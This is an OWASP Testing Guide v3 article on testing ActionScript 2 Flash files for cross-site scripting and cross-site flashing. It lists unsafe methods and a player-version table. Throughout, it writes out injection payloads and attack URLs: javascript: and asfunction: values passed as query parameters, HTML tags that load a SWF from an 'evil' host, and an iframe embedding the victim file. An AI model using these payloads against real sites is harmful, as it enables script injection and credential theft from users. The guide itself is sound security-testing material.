Testing for Cross site flashing (OTG-CLIENT-008)

OWASP Testing Guide v3 Table of Contents

This article is part of the OWASP Testing Guide v3. The entire OWASP Testing Guide v3 can be downloaded here.

OWASP at the moment is working at the OWASP Testing Guide v4: you can browse the Guide here

1 Brief Summary
2 Description of the Issue
3 Gray Box testing and example
4 References

Brief Summary

ActionScript is the language, based on ECMAScript, used by Flash applications when dealing with interactive needs. ActionScript, like every other language, has some implementation patterns which could lead to security issues.

In particular, since Flash applications are often embedded in browsers, vulnerabilities like DOM based Cross Site Scripting could be present in flawed Flash applications.

Description of the Issue

Since the first publication of "Testing Flash Applications" [1], new versions of Flash player were released in order to mitigate some of the attacks which will be described. Nevertheless, some issues still remain exploitable because it strongly depends on developer insecure programming practices.

Gray Box testing and example

Decompilation

Since SWF files are interpreted by a virtual machine embedded in the player itself, they can be potentially decompiled and analysed. The most known and free ActionScript 2.0 decompiler is flare.

To decompile a SWF file with flare just type:

$ flare hello.swf

it will result in a new file called hello.flr.

Decompilation helps testers in the process of testing because it moves black box to white box.

There's no free decompiler for ActionScript 3.0 at the moment.

Undefined Variables

Actionscript 2 entry points are retrieved by looking at every undefined attribute beloging to _root and _global objects, since Actionscript 2 behaves as every member belonging to _root or _global objects were instantiable by URL querystring parameters. That means that if an attribute like:

_root.varname

results "undefined" at some point of code flow, it could be overwritten by setting

http://victim/file.swf?varname=value

Example:

  movieClip 328 __Packages.Locale {

    #initclip
      if (!_global.Locale) {
        var v1 = function (on_load) {
          var v5 = new XML();
          var v6 = this;
          v5.onLoad = function (success) {
            if (success) {
              trace('Locale loaded xml');
              var v3 = this.xliff.file.body.$trans_unit;
              var v2 = 0;
              while (v2 < v3.length) {
                Locale.strings[v3[v2]._resname] = v3[v2].source.__text;
                ++v2;
              }
              on_load();
            } else {}
          };
          if (_root.language != undefined) {
            Locale.DEFAULT_LANG = _root.language;
          }
          v5.load(Locale.DEFAULT_LANG + '/player_' +
                              Locale.DEFAULT_LANG + '.xml');
        };

Could be attacked by requesting:

http://victim/file.swf?language=http://evil

Unsafe Methods

When an entry point is identified, the data it represents could be used by unsafe methods. If the data is not filtered/validated using the right regexp it could lead to some security issue.

Unsafe Methods since version r47 are:

loadVariables()
loadMovie()
getURL()
loadMovie()
loadMovieNum()
FScrollPane.loadScrollContent()
LoadVars.load 
LoadVars.send 
XML.load ( 'url' )
LoadVars.load ( 'url' ) 
Sound.loadSound( 'url' , isStreaming ); 
NetStream.play( 'url' );

flash.external.ExternalInterface.call(_root.callback)

htmlText

The Test

In order to exploit a vulnerability, the swf file should be hosted on the victim's host, and the techniques of reflected XSS must be used. That is forcing the browser to load a pure swf file directly in the location bar (by redirection or social engineering) or by loading it through an iframe from an evil page:

<iframe src='http://victim/path/to/file.swf'></iframe>

This is because in this situation the browser will self-generate an HTML page as if it were hosted by the victim host.

XSS

GetURL:

The GetURL Function lets the movie load a URI into the browser's window. So if an undefined variable is used as the first argument for getURL:

getURL(_root.URI,'_targetFrame');

This means it's possible to call JavaScript in the same domain where the movie is hosted by requesting:

 http://victim/file.swf?URI=javascript:evilcode

 getURL('javascript:evilcode','_self');

The same when only some part of getURL is controlled:

 Dom Injection with Flash JavaScript injection
 
	getUrl('javascript:function('+_root.arg+'))

asfunction:

You can use the special asfunction protocol to cause 
the link to execute an ActionScript function in a
SWF file instead of opening a URL..." (Adobe.com)

Until release r48 of Flash player asfunction could be used on every method which has a URL as an argument.

This means that a tester could try to inject:

asfunction:getURL,javascript:evilcode

in every unsafe method like:

loadMovie(_root.URL)

by requesting:

http://victim/file.swf?URL=asfunction:getURL,javascript:evilcode

ExternalInterface:

ExternalInterface.call is a static method introduced by Adobe to improve player/browser interaction.

From a security point of view it could be abused when part of its argument could be controlled:

flash.external.ExternalInterface.call(_root.callback);

the attack pattern for this kind of flaw should be something like the following: eval(evilcode)

since the internal JavaScript which is executed by the browser will be something similar to:

eval('try { __flash__toXML('+__root.callback+') ; } catch (e) { "<undefined/>"; }')

HTML Injection

TextField Objects can render minimal HTML by setting:

tf.html = true
tf.htmlText = '<tag>text</tag>'

So if some part of text could be controlled by the tester, an A tag or an IMG tag could be injected resulting in modifying the GUI or XSS the browser.

Some attack examples with A Tag:

Direct XSS: <a href='javascript:alert(123)' >

Call as function: <a href='asfunction:function,arg' >

Call SWF public functions:

   <a href='asfunction:_root.obj.function, arg'>

Call native static as function:

IMG tag could be used as well:

<img src='http://evil/evil.swf' >
<img src='javascript:evilcode//.swf' > (.swf is necessary to bypass flash player internal filter)

Note: since release 124 of Flash player XSS is no more exploitable, but GUI modification could still be accomplished.

Cross Site Flashing

Cross Site Flashing (XSF) is a vulnerability which has a similar impact as XSS.

XSF Occurs when from different domains:

One Movie loads another Movie with loadMovie* functions or other hacks and has access to the same sandbox or part of it
XSF could also occurs when an HTML page uses JavaScript to command an Adobe Flash movie, for example, by calling:
- GetVariable: access to flash public and static object from JavaScript as a string.
- SetVariable: set a static or public flash object to a new string value from JavaScript.
Unexpected Browser to SWF communication could result in stealing data from the SWF application.

It could be performed by forcing a flawed SWF to load an external evil flash file.

This attack could result in XSS or in the modification of the GUI in order to fool a user to insert credentials on a fake flash form.

XSF could be used in the presence of Flash HTML Injection or external SWF files when loadMovie* methods are used.

Attacks and Flash Player Version

Since May 2007, three new versions of Flash player were released by Adobe. Every new version restricts some of the attacks previously described.

| Attack         | asfunction | ExternalInterface | GetURL  | Html Injection | 
| Player Version |
| v9.0 r47/48    |  Yes       |   Yes             | Yes     |     Yes        |
| v9.0 r115      |  No        |   Yes             | Yes     |     Yes        |
| v9.0 r124      |  No        |   Yes             | Yes     |     Partially  |

Result Expected:

Cross Site Scripting and Cross Site Flashing are the expected results on a flawed SWF file.